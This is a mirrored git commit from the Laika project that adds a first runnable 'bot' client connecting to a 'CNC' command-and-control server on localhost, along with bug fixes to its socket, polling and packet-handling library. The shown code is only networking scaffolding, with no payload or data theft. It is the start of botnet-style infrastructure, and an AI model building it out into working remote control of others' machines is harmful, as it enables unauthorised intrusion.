mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
First actual runnable version
- many warnings & bug fixes - added bot/ source
This commit is contained in:
parent
0dee6fe3fc
commit
1bccc78117
2
.gitignore
vendored
2
.gitignore
vendored
@ -1,2 +1,4 @@
|
|||||||
build
|
build
|
||||||
|
debug
|
||||||
|
bin
|
||||||
.vscode
|
.vscode
|
||||||
|
@ -1,4 +1,12 @@
|
|||||||
cmake_minimum_required(VERSION 3.10)
|
cmake_minimum_required(VERSION 3.10)
|
||||||
|
project(Laika)
|
||||||
|
|
||||||
|
# Set the project as the default startup project for VS
|
||||||
|
set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT Laika)
|
||||||
|
|
||||||
|
# Output binaries to the bin folder in the source directory
|
||||||
|
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_SOURCE_DIR}/bin)
|
||||||
|
set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_SOURCE_DIR}/bin)
|
||||||
|
|
||||||
# compile laikalib, cnc & bot
|
# compile laikalib, cnc & bot
|
||||||
add_subdirectory(lib)
|
add_subdirectory(lib)
|
||||||
|
21
bot/include/bot.h
Normal file
21
bot/include/bot.h
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
#ifndef LAIKA_BOT_H
|
||||||
|
#define LAIKA_BOT_H
|
||||||
|
|
||||||
|
#include "laika.h"
|
||||||
|
#include "lpacket.h"
|
||||||
|
#include "lsocket.h"
|
||||||
|
#include "lpeer.h"
|
||||||
|
#include "lpolllist.h"
|
||||||
|
|
||||||
|
struct sLaika_bot {
|
||||||
|
struct sLaika_peer *peer;
|
||||||
|
struct sLaika_pollList pList;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct sLaika_bot *laikaB_newBot(void);
|
||||||
|
void laikaB_freeBot(struct sLaika_bot *bot);
|
||||||
|
|
||||||
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
||||||
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
|
||||||
|
|
||||||
|
#endif
|
73
bot/src/bot.c
Normal file
73
bot/src/bot.c
Normal file
@ -0,0 +1,73 @@
|
|||||||
|
#include "lmem.h"
|
||||||
|
#include "lerror.h"
|
||||||
|
#include "bot.h"
|
||||||
|
|
||||||
|
size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||||
|
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
|
||||||
|
};
|
||||||
|
|
||||||
|
void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
|
||||||
|
printf("got %d packet id!\n", id);
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sLaika_bot *laikaB_newBot(void) {
|
||||||
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||||
|
|
||||||
|
laikaP_initPList(&bot->pList);
|
||||||
|
bot->peer = laikaS_newPeer(
|
||||||
|
laikaB_pktHandler,
|
||||||
|
laikaB_pktSizeTbl,
|
||||||
|
&bot->pList,
|
||||||
|
(void*)bot
|
||||||
|
);
|
||||||
|
|
||||||
|
return bot;
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||||
|
laikaP_cleanPList(&bot->pList);
|
||||||
|
laikaS_freePeer(bot->peer);
|
||||||
|
laikaM_free(bot);
|
||||||
|
}
|
||||||
|
|
||||||
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||||
|
struct sLaika_socket *sock = &bot->peer->sock;
|
||||||
|
|
||||||
|
/* setup socket */
|
||||||
|
laikaS_connect(sock, ip, port);
|
||||||
|
laikaS_setNonBlock(sock);
|
||||||
|
|
||||||
|
laikaP_addSock(&bot->pList, sock);
|
||||||
|
|
||||||
|
/* queue handshake request */
|
||||||
|
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
|
||||||
|
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
||||||
|
laikaS_writeByte(sock, LIB_VERSION_MAJOR);
|
||||||
|
laikaS_writeByte(sock, LIB_VERSION_MINOR);
|
||||||
|
|
||||||
|
if (!laikaS_handlePeerOut(bot->peer))
|
||||||
|
LAIKA_ERROR("failed to send handshake request!\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
||||||
|
struct sLaika_pollEvent *evnt;
|
||||||
|
int numEvents;
|
||||||
|
|
||||||
|
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
|
||||||
|
|
||||||
|
if (numEvents == 0) /* no events? timeout was reached */
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
|
||||||
|
goto _BKill;
|
||||||
|
|
||||||
|
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
|
||||||
|
goto _BKill;
|
||||||
|
|
||||||
|
if (!evnt->pollIn && !evnt->pollOut) {
|
||||||
|
_BKill:
|
||||||
|
laikaS_kill(&bot->peer->sock);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
@ -0,0 +1,21 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "lerror.h"
|
||||||
|
#include "bot.h"
|
||||||
|
|
||||||
|
int main(int argv, char **argc) {
|
||||||
|
struct sLaika_bot *bot = laikaB_newBot();
|
||||||
|
|
||||||
|
/* connect to test CNC */
|
||||||
|
laikaB_connectToCNC(bot, "127.0.0.1", "13337");
|
||||||
|
|
||||||
|
/* while connection is still alive, poll bot */
|
||||||
|
while (laikaS_isAlive((&bot->peer->sock))) {
|
||||||
|
if (!laikaB_poll(bot, 1000)) {
|
||||||
|
printf("no events!\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("bot killed\n");
|
||||||
|
return 0;
|
||||||
|
}
|
@ -7,7 +7,7 @@ size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
|||||||
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
|
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
|
||||||
};
|
};
|
||||||
|
|
||||||
void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
|
||||||
printf("got %d packet id!\n", id);
|
printf("got %d packet id!\n", id);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -34,7 +34,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||||
laikaP_rmvSock(&cnc->pList, (struct sLaika_sock*)peer);
|
printf("peer %x killed!\n", peer);
|
||||||
|
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
|
||||||
laikaS_kill(&peer->sock);
|
laikaS_kill(&peer->sock);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -66,6 +67,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
|||||||
|
|
||||||
/* add to our pollList */
|
/* add to our pollList */
|
||||||
laikaP_addSock(&cnc->pList, &peer->sock);
|
laikaP_addSock(&cnc->pList, &peer->sock);
|
||||||
|
|
||||||
|
printf("new peer %x!\n", peer);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -0,0 +1,16 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "cnc.h"
|
||||||
|
|
||||||
|
int main(int argv, char **argc) {
|
||||||
|
struct sLaika_cnc *cnc = laikaC_newCNC(13337);
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
if (!laikaC_pollPeers(cnc, 1000)) {
|
||||||
|
printf("no events!\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("cnc killed\n");
|
||||||
|
return 0;
|
||||||
|
}
|
@ -14,9 +14,6 @@ project(LaikaLib VERSION ${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
|
|||||||
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
||||||
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||||
|
|
||||||
# Set the project as the default startup project for VS
|
|
||||||
set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT LaikaLib)
|
|
||||||
|
|
||||||
# compile LaikaLib library
|
# compile LaikaLib library
|
||||||
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||||
add_library(LaikaLib STATIC ${LIBSOURCE})
|
add_library(LaikaLib STATIC ${LIBSOURCE})
|
||||||
@ -28,4 +25,4 @@ target_compile_definitions(LaikaLib PUBLIC LIB_VERSION_MAJOR=${LIB_VERSION_MAJOR
|
|||||||
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR})
|
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR})
|
||||||
|
|
||||||
# set library name
|
# set library name
|
||||||
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME net-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
|
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
|
||||||
|
@ -10,4 +10,13 @@
|
|||||||
|
|
||||||
#define ARRAY_START 4
|
#define ARRAY_START 4
|
||||||
|
|
||||||
|
/* for intellisense */
|
||||||
|
#ifndef LIB_VERSION_MAJOR
|
||||||
|
#define LIB_VERSION_MAJOR 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef LIB_VERSION_MINOR
|
||||||
|
#define LIB_VERSION_MINOR 0
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -11,7 +11,7 @@
|
|||||||
#define laikaM_growarray(type, buf, count, capacity) \
|
#define laikaM_growarray(type, buf, count, capacity) \
|
||||||
if (count >= capacity || buf == NULL) { \
|
if (count >= capacity || buf == NULL) { \
|
||||||
capacity *= GROW_FACTOR; \
|
capacity *= GROW_FACTOR; \
|
||||||
buf = (type*)cosmoM_realloc(buf, sizeof(type)*capacity); \
|
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
|
||||||
}
|
}
|
||||||
|
|
||||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||||
|
@ -4,10 +4,10 @@
|
|||||||
#define LAIKA_MAGIC "LAI\x12"
|
#define LAIKA_MAGIC "LAI\x12"
|
||||||
#define LAIKA_MAGICLEN 4
|
#define LAIKA_MAGICLEN 4
|
||||||
|
|
||||||
typedef enum {
|
enum {
|
||||||
LAIKAPKT_HANDSHAKE_REQ,
|
LAIKAPKT_HANDSHAKE_REQ,
|
||||||
LAIKAPKT_HANDSHAKE_RES,
|
LAIKAPKT_HANDSHAKE_RES,
|
||||||
LAIKAPKT_MAXNONE
|
LAIKAPKT_MAXNONE
|
||||||
} LAIKAPKT_ID;
|
};
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -9,15 +9,15 @@
|
|||||||
struct sLaika_peer {
|
struct sLaika_peer {
|
||||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||||
struct sLaika_pollList *pList; /* pollList we're active in */
|
struct sLaika_pollList *pList; /* pollList we're active in */
|
||||||
void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData);
|
void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData);
|
||||||
void *uData; /* data to be passed to pktHandler */
|
void *uData; /* data to be passed to pktHandler */
|
||||||
size_t *pktSizeTable; /* const table to pull pkt size data from */
|
size_t *pktSizeTable; /* const table to pull pkt size data from */
|
||||||
size_t pktSize; /* current pkt size */
|
size_t pktSize; /* current pkt size */
|
||||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
uint8_t pktID; /* current pkt ID */
|
||||||
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
|
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
||||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||||
|
|
||||||
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
||||||
|
@ -1,3 +1,7 @@
|
|||||||
|
#ifndef LAIKA_SOCKET_H
|
||||||
|
#define LAIKA_SOCKET_H
|
||||||
|
|
||||||
|
|
||||||
/* socket/winsock headers */
|
/* socket/winsock headers */
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
/* windows */
|
/* windows */
|
||||||
@ -62,7 +66,7 @@ struct sLaika_socket {
|
|||||||
int inCount;
|
int inCount;
|
||||||
int outCap;
|
int outCap;
|
||||||
int inCap;
|
int inCap;
|
||||||
bool flipEndian
|
bool flipEndian;
|
||||||
};
|
};
|
||||||
|
|
||||||
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
||||||
@ -95,4 +99,6 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads
|
|||||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
|
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
|
||||||
|
|
||||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||||
|
|
||||||
|
#endif
|
@ -12,7 +12,7 @@ void *laikaM_realloc(void *buf, size_t sz) {
|
|||||||
|
|
||||||
/* if NULL is passed, realloc() acts like malloc() */
|
/* if NULL is passed, realloc() acts like malloc() */
|
||||||
if ((newBuf = realloc(buf, sz)) == NULL)
|
if ((newBuf = realloc(buf, sz)) == NULL)
|
||||||
LAIKA_ERROR("failed to allocate memory!");
|
LAIKA_ERROR("failed to allocate memory!\n");
|
||||||
|
|
||||||
return newBuf;
|
return newBuf;
|
||||||
}
|
}
|
@ -2,7 +2,7 @@
|
|||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
|
|
||||||
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
|
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
|
||||||
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
||||||
|
|
||||||
laikaS_initSocket(&peer->sock);
|
laikaS_initSocket(&peer->sock);
|
||||||
@ -35,7 +35,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
|||||||
|
|
||||||
/* sanity check packet ID */
|
/* sanity check packet ID */
|
||||||
if (peer->pktID >= LAIKAPKT_MAXNONE)
|
if (peer->pktID >= LAIKAPKT_MAXNONE)
|
||||||
LAIKA_ERROR("received evil pktID!")
|
LAIKA_ERROR("received evil pktID!\n")
|
||||||
|
|
||||||
peer->pktSize = peer->pktSizeTable[peer->pktID];
|
peer->pktSize = peer->pktSizeTable[peer->pktID];
|
||||||
break;
|
break;
|
||||||
@ -67,7 +67,7 @@ bool laikaS_handlePeerOut(struct sLaika_peer *peer) {
|
|||||||
int sent;
|
int sent;
|
||||||
|
|
||||||
if (peer->sock.outCount == 0) /* sanity check */
|
if (peer->sock.outCount == 0) /* sanity check */
|
||||||
return;
|
return true;
|
||||||
|
|
||||||
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
|
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
|
||||||
case RAWSOCK_OK: /* we're ok! */
|
case RAWSOCK_OK: /* we're ok! */
|
||||||
|
@ -32,7 +32,7 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
|
|||||||
/* setup our epoll */
|
/* setup our epoll */
|
||||||
memset(&pList->ev, 0, sizeof(struct epoll_event));
|
memset(&pList->ev, 0, sizeof(struct epoll_event));
|
||||||
if ((pList->epollfd = epoll_create(POLLSTARTCAP)) == -1)
|
if ((pList->epollfd = epoll_create(POLLSTARTCAP)) == -1)
|
||||||
LAIKA_ERROR("epoll_create() failed!");
|
LAIKA_ERROR("epoll_create() failed!\n");
|
||||||
|
|
||||||
#else
|
#else
|
||||||
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
|
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
|
||||||
@ -62,7 +62,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
|||||||
pList->ev.data.ptr = (void*)sock;
|
pList->ev.data.ptr = (void*)sock;
|
||||||
|
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
|
||||||
LAIKA_ERROR("epoll_ctl [ADD] failed");
|
LAIKA_ERROR("epoll_ctl [ADD] failed\n");
|
||||||
|
|
||||||
#else
|
#else
|
||||||
/* allocate space in array & add PollFD */
|
/* allocate space in array & add PollFD */
|
||||||
@ -79,7 +79,7 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
|||||||
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
|
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
|
||||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||||
LAIKA_WARN("epoll_ctl [DEL] failed");
|
LAIKA_WARN("epoll_ctl [DEL] failed\n");
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
int i;
|
int i;
|
||||||
@ -101,7 +101,7 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
|||||||
pList->ev.data.ptr = (void*)sock;
|
pList->ev.data.ptr = (void*)sock;
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
||||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||||
LAIKA_WARN("epoll_ctl [MOD] failed");
|
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
int i;
|
int i;
|
||||||
@ -122,7 +122,7 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
|||||||
pList->ev.data.ptr = (void*)sock;
|
pList->ev.data.ptr = (void*)sock;
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
||||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||||
LAIKA_WARN("epoll_ctl [MOD] failed");
|
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
int i;
|
int i;
|
||||||
@ -148,7 +148,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
|
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
|
||||||
|
|
||||||
if (SOCKETERROR(nEvents))
|
if (SOCKETERROR(nEvents))
|
||||||
LAIKA_ERROR("epoll_wait() failed!");
|
LAIKA_ERROR("epoll_wait() failed!\n");
|
||||||
|
|
||||||
for (i = 0; i < nEvents; i++) {
|
for (i = 0; i < nEvents; i++) {
|
||||||
/* add event to revent array */
|
/* add event to revent array */
|
||||||
@ -163,7 +163,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */
|
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */
|
||||||
|
|
||||||
if (SOCKETERROR(nEvents))
|
if (SOCKETERROR(nEvents))
|
||||||
LAIKA_ERROR("poll() failed!");
|
LAIKA_ERROR("poll() failed!\n");
|
||||||
|
|
||||||
/* walk through the returned poll fds, if they have an event, add it to our revents array */
|
/* walk through the returned poll fds, if they have an event, add it to our revents array */
|
||||||
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
|
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
|
||||||
|
@ -15,7 +15,7 @@ void laikaS_init(void) {
|
|||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
|
|
||||||
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
|
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
|
||||||
LAIKA_ERROR("WSAStartup failed!")
|
LAIKA_ERROR("WSAStartup failed!\n")
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -39,7 +39,6 @@ void laikaS_initSocket(struct sLaika_socket *sock) {
|
|||||||
sock->flipEndian = false;
|
sock->flipEndian = false;
|
||||||
|
|
||||||
laikaS_init();
|
laikaS_init();
|
||||||
return sock;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_cleanSocket(struct sLaika_socket *sock) {
|
void laikaS_cleanSocket(struct sLaika_socket *sock) {
|
||||||
@ -71,7 +70,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
|||||||
struct addrinfo res, *result, *curr;
|
struct addrinfo res, *result, *curr;
|
||||||
|
|
||||||
if (!SOCKETINVALID(sock->sock))
|
if (!SOCKETINVALID(sock->sock))
|
||||||
LAIKA_ERROR("socket already setup!");
|
LAIKA_ERROR("socket already setup!\n");
|
||||||
|
|
||||||
/* zero out our address info and setup the type */
|
/* zero out our address info and setup the type */
|
||||||
memset(&res, 0, sizeof(struct addrinfo));
|
memset(&res, 0, sizeof(struct addrinfo));
|
||||||
@ -80,7 +79,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
|||||||
|
|
||||||
/* grab the address info */
|
/* grab the address info */
|
||||||
if (getaddrinfo(ip, port, &res, &result) != 0)
|
if (getaddrinfo(ip, port, &res, &result) != 0)
|
||||||
LAIKA_ERROR("getaddrinfo() failed!");
|
LAIKA_ERROR("getaddrinfo() failed!\n");
|
||||||
|
|
||||||
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */
|
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */
|
||||||
for (curr = result; curr != NULL; curr = curr->ai_next) {
|
for (curr = result; curr != NULL; curr = curr->ai_next) {
|
||||||
@ -100,20 +99,20 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
|||||||
|
|
||||||
/* if we reached the end of the linked list, we failed looking up the addr */
|
/* if we reached the end of the linked list, we failed looking up the addr */
|
||||||
if (curr == NULL)
|
if (curr == NULL)
|
||||||
LAIKA_ERROR("couldn't connect a valid address handle to socket!");
|
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||||
socklen_t addressSize;
|
socklen_t addressSize;
|
||||||
struct sockaddr_in address;
|
struct sockaddr_in address;
|
||||||
|
|
||||||
if (!SOCKETINVALID(sock))
|
if (!SOCKETINVALID(sock->sock))
|
||||||
LAIKA_ERROR("socket already setup!")
|
LAIKA_ERROR("socket already setup!\n")
|
||||||
|
|
||||||
/* open our socket */
|
/* open our socket */
|
||||||
sock->sock = socket(AF_INET, SOCK_STREAM, 0);
|
sock->sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
if (SOCKETINVALID(sock))
|
if (SOCKETINVALID(sock->sock))
|
||||||
LAIKA_ERROR("socket() failed!");
|
LAIKA_ERROR("socket() failed!\n");
|
||||||
|
|
||||||
/* attach socket to the port */
|
/* attach socket to the port */
|
||||||
int opt = 1;
|
int opt = 1;
|
||||||
@ -122,7 +121,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
|||||||
#else
|
#else
|
||||||
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
|
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
|
||||||
#endif
|
#endif
|
||||||
LAIKA_ERROR("setsockopt() failed!");
|
LAIKA_ERROR("setsockopt() failed!\n");
|
||||||
|
|
||||||
address.sin_family = AF_INET;
|
address.sin_family = AF_INET;
|
||||||
address.sin_addr.s_addr = INADDR_ANY;
|
address.sin_addr.s_addr = INADDR_ANY;
|
||||||
@ -132,19 +131,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
|||||||
|
|
||||||
/* bind to the port */
|
/* bind to the port */
|
||||||
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
|
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
|
||||||
LAIKA_ERROR("bind() failed!");
|
LAIKA_ERROR("bind() failed!\n");
|
||||||
|
|
||||||
if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
|
if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
|
||||||
LAIKA_ERROR("listen() failed!");
|
LAIKA_ERROR("listen() failed!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) {
|
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) {
|
||||||
socklen_t addressSize;
|
socklen_t addressSize;
|
||||||
struct sockaddr address;
|
struct sockaddr address;
|
||||||
|
|
||||||
sock = accept(from->sock, &address, &addressSize);
|
sock->sock = accept(from->sock, &address, &addressSize);
|
||||||
if (SOCKETINVALID(sock))
|
if (SOCKETINVALID(sock->sock))
|
||||||
LAIKA_ERROR("accept() failed!")
|
LAIKA_ERROR("accept() failed!\n")
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
||||||
@ -154,7 +153,7 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
|||||||
#else
|
#else
|
||||||
if (fcntl(sock->sock, F_SETFL, (fcntl(sock->sock, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
if (fcntl(sock->sock, F_SETFL, (fcntl(sock->sock, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
||||||
#endif
|
#endif
|
||||||
LAIKA_WARN("fcntl failed on new connection");
|
LAIKA_WARN("fcntl failed on new connection\n");
|
||||||
laikaS_kill(sock);
|
laikaS_kill(sock);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
